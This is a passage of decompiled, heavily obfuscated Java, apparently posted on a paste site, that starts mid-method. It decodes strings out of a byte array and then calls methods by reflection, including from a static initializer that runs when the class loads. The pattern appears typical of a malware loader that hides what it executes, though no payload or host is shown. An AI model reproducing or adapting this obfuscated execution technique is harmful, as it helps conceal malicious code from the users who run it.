- localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
- localObject8 = (String)localThrowable4.getField(localObject4[3]).get(null);
- localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(2359));
- localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(100));
- localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
- Object localObject9 = (String)localThrowable4.getField(localObject4[3]).get(null);
- Class.forName(str1).getMethod((String)localObject7, new Class[0]).invoke(null, new Object[0]).getClass().getMethod((String)localObject8, new Class[] { String.class }).invoke(Class.forName(str1).getMethod((String)localObject7, new Class[0]).invoke(null, new Object[0]), new Object[] { localObject9 });
- return;
- }
- catch (Exception localException3) {}
- }
- private static void a1922821497()
- {
- Class localClass;
- byte[] arrayOfByte = (byte[])(localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName())).getField("a").get(null);
- int i = localClass.getField("b1").getInt(null);
- int j = localClass.getField("b2").getInt(null);
- StringBuilder localStringBuilder = new StringBuilder();
- for (int k = i; k < i + j; k++) {
- localStringBuilder.append((char)arrayOfByte[k]);
- }
- localClass.getField("b3").set(null, localStringBuilder.toString());
- }
- static
- {
- try
- {
- Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()).getMethod("_a1187031382", new Class[0]).invoke(null, new Object[0]);
- return;
- }
- catch (Exception localException) {}
- }
- public static void _a1196227917() {}
- public static void _a447410325() {}
- public static void _a1009916519() {}
- public static void _a1922821497() {}
- public static void _a296977313() {}
- public static void _a1187031382() {}
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement